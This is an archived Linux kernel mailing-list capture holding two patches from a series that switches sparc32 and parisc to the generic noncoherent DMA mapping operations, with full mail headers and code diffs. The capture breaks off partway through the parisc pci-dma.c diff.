To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 10:01:23 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2zT-0002Ug-8v
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 10:01:23 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id C3891CB8;
	Fri, 11 May 2018 08:03:31 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 091D3C87
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:03:31 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 61E77E7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:03:29 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=E+ntzFfgx7YXA5epJcDsELMGSsFmVtfe/rYYmI+CxdA=;
	b=JCSfas71xnIfTLYasP34yNKvG
	0CJ0HCInx+xcoeec5GCozEVq3xklnr6ETAv7qs/AC4n9Pe1sH61wm61uhvJtse2TTbtw4cqBH4JNk
	aJbqTNrRqmHM9yMxo+usuzf7hExOumigfbzW/CqWMO2gd9RUgbVcqrdt98NzTyBQKaamvJYLSXGbO
	jgd0GYMel885/1glXAjtCmR9MbfLay6w3SLWgk2icL0XbXjGZh/WhNfaEl8M6ivkVSVFHgpd5LHPe
	IaLoU3zRu2y7tSxqTI1kXJVPmsU+2youOLOFMn38Btgtveqsozh2ETw9CJUEDMpXmjdms8kM34Iqa
	16QkWoAjQ==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH31B-0000pZ-W0; Fri, 11 May 2018 08:03:11 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24186 gmane.linux.kernel.cross-arch:44030 gmane.linux.ports.parisc:28613 gmane.linux.ports.sh.devel:57019 gmane.linux.ports.hexagon:1716 gmane.linux.kernel:2764221 gmane.linux.ports.alpha:5041 gmane.linux.ports.sparc:27868 gmane.linux.kernel.arc:3882 gmane.linux.ports.arm.kernel:649170
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24186>

Switch to the generic noncoherent direct mapping implementation.

This removes the previous sync_single_for_device implementation, which
looks bogus given that no syncing is happening in the similar but more
important map_single case.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/sparc/Kconfig                   |   2 +
 arch/sparc/include/asm/dma-mapping.h |   5 +-
 arch/sparc/kernel/ioport.c           | 151 ++-------------------------
 3 files changed, 14 insertions(+), 144 deletions(-)

diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 435dbc033afe..0889b4eabf8b 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -48,6 +48,8 @@ config SPARC
 
 config SPARC32
 	def_bool !64BIT
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select CLZ_TAB
 	select HAVE_UID16
diff --git a/arch/sparc/include/asm/dma-mapping.h b/arch/sparc/include/asm/dma-mapping.h
index 12ae33daf52f..e17566376934 100644
--- a/arch/sparc/include/asm/dma-mapping.h
+++ b/arch/sparc/include/asm/dma-mapping.h
@@ -7,7 +7,6 @@
 #include <linux/dma-debug.h>
 
 extern const struct dma_map_ops *dma_ops;
-extern const struct dma_map_ops pci32_dma_ops;
 
 extern struct bus_type pci_bus_type;
 
@@ -15,11 +14,11 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 #ifdef CONFIG_SPARC_LEON
 	if (sparc_cpu_model == sparc_leon)
-		return &pci32_dma_ops;
+		return &dma_noncoherent_ops;
 #endif
 #if defined(CONFIG_SPARC32) && defined(CONFIG_PCI)
 	if (bus == &pci_bus_type)
-		return &pci32_dma_ops;
+		return &dma_noncoherent_ops;
 #endif
 	return dma_ops;
 }
diff --git a/arch/sparc/kernel/ioport.c b/arch/sparc/kernel/ioport.c
index 3bcef9ce74df..7954512c42e7 100644
--- a/arch/sparc/kernel/ioport.c
+++ b/arch/sparc/kernel/ioport.c
@@ -38,6 +38,7 @@
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 #include <linux/scatterlist.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/of_device.h>
 
 #include <asm/io.h>
@@ -434,9 +435,8 @@ arch_initcall(sparc_register_ioport);
 /* Allocate and map kernel buffer using consistent mode DMA for a device.
  * hwdev should be valid struct pci_dev pointer for PCI devices.
  */
-static void *pci32_alloc_coherent(struct device *dev, size_t len,
-				  dma_addr_t *pba, gfp_t gfp,
-				  unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t len, dma_addr_t *pba, gfp_t gfp,
+		unsigned long attrs)
 {
 	unsigned long len_total = PAGE_ALIGN(len);
 	void *va;
@@ -488,8 +488,8 @@ static void *pci32_alloc_coherent(struct device *dev, size_t len,
  * References to the memory and mappings associated with cpu_addr/dma_addr
  * past this call are illegal.
  */
-static void pci32_free_coherent(struct device *dev, size_t n, void *p,
-				dma_addr_t ba, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t n, void *p, dma_addr_t ba,
+		unsigned long attrs)
 {
 	struct resource *res;
 
@@ -519,146 +519,15 @@ static void pci32_free_coherent(struct device *dev, size_t n, void *p,
 	free_pages((unsigned long)phys_to_virt(ba), get_order(n));
 }
 
-/*
- * Same as pci_map_single, but with pages.
- */
-static dma_addr_t pci32_map_page(struct device *dev, struct page *page,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	/* IIep is write-through, not flushing. */
-	return page_to_phys(page) + offset;
-}
-
-static void pci32_unmap_page(struct device *dev, dma_addr_t ba, size_t size,
-			     enum dma_data_direction dir, unsigned long attrs)
-{
-	if (dir != PCI_DMA_TODEVICE && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-}
-
-/* Map a set of buffers described by scatterlist in streaming
- * mode for DMA.  This is the scatter-gather version of the
- * above pci_map_single interface.  Here the scatter gather list
- * elements are each tagged with the appropriate dma address
- * and length.  They are obtained via sg_dma_{address,length}(SG).
- *
- * NOTE: An implementation may be able to use a smaller number of
- *       DMA address/length pairs than there are SG table elements.
- *       (for example via virtual mapping capabilities)
- *       The routine returns the number of addr/length pairs actually
- *       used, at most nents.
- *
- * Device ownership issues as mentioned above for pci_map_single are
- * the same here.
- */
-static int pci32_map_sg(struct device *device, struct scatterlist *sgl,
-			int nents, enum dma_data_direction dir,
-			unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int n;
-
-	/* IIep is write-through, not flushing. */
-	for_each_sg(sgl, sg, nents, n) {
-		sg->dma_address = sg_phys(sg);
-		sg->dma_length = sg->length;
-	}
-	return nents;
-}
-
-/* Unmap a set of streaming mode DMA translations.
- * Again, cpu read rules concerning calls here are the same as for
- * pci_unmap_single() above.
- */
-static void pci32_unmap_sg(struct device *dev, struct scatterlist *sgl,
-			   int nents, enum dma_data_direction dir,
-			   unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE && !(attrs & DMA_ATTR_SKIP_CPU_SYNC)) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
+/* IIep is write-through, not flushing on cpu to device transfer. */
 
-/* Make physical memory consistent for a single
- * streaming mode DMA translation before or after a transfer.
- *
- * If you perform a pci_map_single() but wish to interrogate the
- * buffer using the cpu, yet do not wish to teardown the PCI dma
- * mapping, you must call this function before doing so.  At the
- * next point you give the PCI dma address back to the card, you
- * must first perform a pci_dma_sync_for_device, and then the
- * device again owns the buffer.
- */
-static void pci32_sync_single_for_cpu(struct device *dev, dma_addr_t ba,
-				      size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	if (dir != PCI_DMA_TODEVICE) {
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-	}
-}
-
-static void pci32_sync_single_for_device(struct device *dev, dma_addr_t ba,
-					 size_t size, enum dma_data_direction dir)
-{
-	if (dir != PCI_DMA_TODEVICE) {
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-	}
+	if (dir != PCI_DMA_TODEVICE)
+		dma_make_coherent(paddr, PAGE_ALIGN(size));
 }
 
-/* Make physical memory consistent for a set of streaming
- * mode DMA translations after a transfer.
- *
- * The same as pci_dma_sync_single_* but for a scatter-gather list,
- * same rules and usage.
- */
-static void pci32_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl,
-				  int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
-
-static void pci32_sync_sg_for_device(struct device *device, struct scatterlist *sgl,
-				     int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
-
-/* note: leon re-uses pci32_dma_ops */
-const struct dma_map_ops pci32_dma_ops = {
-	.alloc			= pci32_alloc_coherent,
-	.free			= pci32_free_coherent,
-	.map_page		= pci32_map_page,
-	.unmap_page		= pci32_unmap_page,
-	.map_sg			= pci32_map_sg,
-	.unmap_sg		= pci32_unmap_sg,
-	.sync_single_for_cpu	= pci32_sync_single_for_cpu,
-	.sync_single_for_device	= pci32_sync_single_for_device,
-	.sync_sg_for_cpu	= pci32_sync_sg_for_cpu,
-	.sync_sg_for_device	= pci32_sync_sg_for_device,
-};
-EXPORT_SYMBOL(pci32_dma_ops);
-
 const struct dma_map_ops *dma_ops = &sbus_dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 20/20] parisc: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:45 +0200
Lines: 334
Approved: news@gmane.org
Message-ID: <20180511075945.16548-21-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025702 11156 195.159.176.226 (11 May 2018 08:01:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:01:42 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 10:01:37 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2zg-0002lX-5h
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 10:01:36 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 1D4C4C87;
	Fri, 11 May 2018 08:03:36 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id B5D47BC1
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:03:34 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id D782CE7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:03:33 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=hLUHd7BDg5it8PNCdP9Pg0APyQb3kGPgTIwU0L2xHK4=;
	b=uSioQwyy7clfa+56bcG+KWejC
	CBd3IL9xpdv+pyeKh6rj2tNr21+Ix27fbS+WhrXHv9pLntuOP8KBUvJrriEnPs+ZtYorNbrykRQjF
	FUb2U9n/inBjQnp5Pstss5HiWmjpAUlCdWG40JYXLWLNeO7ZOxChWbycNZqW7ygn0+otzFBTsfvWm
	0nWBvtkRNk89qNE9+uvm6YW0sET4bYh+M+47c7MRvQkxL6ykJijxSEOcA3JOVxVvgLEPtf5y+FNsD
	O03n0V2ybgSHwI6g6k5QUzkHyXhiG/Ak32wYwnNJy1/ivNFbI7sk+awSLcWo2MMvCcwJ1atLf44Xr
	0DdFkA0EQ==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH31H-0000sD-9V; Fri, 11 May 2018 08:03:16 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24187 gmane.linux.kernel.cross-arch:44031 gmane.linux.ports.parisc:28614 gmane.linux.ports.sh.devel:57020 gmane.linux.ports.hexagon:1717 gmane.linux.kernel:2764222 gmane.linux.ports.alpha:5042 gmane.linux.ports.sparc:27869 gmane.linux.kernel.arc:3883 gmane.linux.ports.arm.kernel:649171
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24187>

Switch to the generic noncoherent direct mapping implementation.

Parisc previously had two different non-coherent dma ops implementation
that just different in the way coherent allocations were handled or not
handled.  The different behavior is not selected at runtime in the
arch_dma_alloc and arch_dma_free routines.  The non-coherent allocation
in the pcx cases now uses the dma_direct helpers that are a little more
sophisticated and used by a lot of other architectures.

Fix sync_single_for_cpu to do skip the cache flush unless the transfer
is to the device to match the more tested unmap_single path which should
have the same cache coherency implications.

This also now consistenly uses flush_kernel_dcache_range for cache
flushing while previously some of the SG based operations used
flush_kernel_vmap_range instead.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/parisc/Kconfig                   |   4 +
 arch/parisc/include/asm/dma-mapping.h |   5 -
 arch/parisc/kernel/pci-dma.c          | 184 +++-----------------------
 arch/parisc/kernel/setup.c            |   8 +-
 arch/parisc/mm/init.c                 |  11 +-
 5 files changed, 32 insertions(+), 180 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 4d8f64d48597..4993c6dc8358 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -188,6 +188,10 @@ config PA20
 config PA11
 	def_bool y
 	depends on PA7000 || PA7100LC || PA7200 || PA7300LC
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_CACHE_SYNC
 
 config PREFETCH
 	def_bool y
diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 01e1fc057c83..44a9f97194aa 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -21,11 +21,6 @@
 ** flush/purge and allocate "regular" cacheable pages for everything.
 */
 
-#ifdef CONFIG_PA11
-extern const struct dma_map_ops pcxl_dma_ops;
-extern const struct dma_map_ops pcx_dma_ops;
-#endif
-
 extern const struct dma_map_ops *hppa_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 91bc0cac03a1..02de2eb22d85 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -21,13 +21,12 @@
 #include <linux/init.h>
 #include <linux/gfp.h>
 #include <linux/mm.h>
-#include <linux/pci.h>
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 #include <linux/string.h>
 #include <linux/types.h>
-#include <linux/scatterlist.h>
-#include <linux/export.h>
+#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/cacheflush.h>
 #include <asm/dma.h>    /* for DMA_CHUNK_SIZE */
@@ -447,178 +446,39 @@ static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 	free_pages((unsigned long)__va(dma_handle), order);
 }
 
-static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size,
-		enum dma_data_direction direction, unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	void *addr = page_address(page) + offset;
-	BUG_ON(direction == DMA_NONE);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		flush_kernel_dcache_range((unsigned long) addr, size);
-
-	return virt_to_phys(addr);
-}
-
-static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
-		size_t size, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	/*
-	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
-	 * simple map/unmap case. However, it IS necessary if if
-	 * pci_dma_sync_single_* has been called and the buffer reused.
-	 */
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
-}
-
-static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	BUG_ON(direction == DMA_NONE);
-
-	for_each_sg(sglist, sg, nents, i) {
-		unsigned long vaddr = (unsigned long)sg_virt(sg);
-
-		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
-		sg_dma_len(sg) = sg->length;
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		flush_kernel_dcache_range(vaddr, sg->length);
-	}
-	return nents;
-}
-
-static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	BUG_ON(direction == DMA_NONE);
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
-			size);
+	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
 }
 
-static void pa11_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	BUG_ON(direction == DMA_NONE);
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
-			size);
-}
-
-static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
 }
 
-static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
+void arch_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	       enum dma_data_direction direction)
 {
 	flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
 
-const struct dma_map_ops pcxl_dma_ops = {
-	.alloc =		pa11_dma_alloc,
-	.free =			pa11_dma_free,
-	.map_page =		pa11_dma_map_page,
-	.unmap_page =		pa11_dma_unmap_page,
-	.map_sg =		pa11_dma_map_sg,
-	.unmap_sg =		pa11_dma_unmap_sg,
-	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.sync_single_for_device = pa11_dma_sync_single_for_device,
-	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
-	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
-	.cache_sync =		pa11_dma_cache_sync,
-};
-
-static void *pcx_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
-	void *addr;
-
-	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
-		return NULL;
-
-	addr = (void *)__get_free_pages(flag, get_order(size));
-	if (addr)
-		*dma_handle = (dma_addr_t)virt_to_phys(addr);
-
-	return addr;
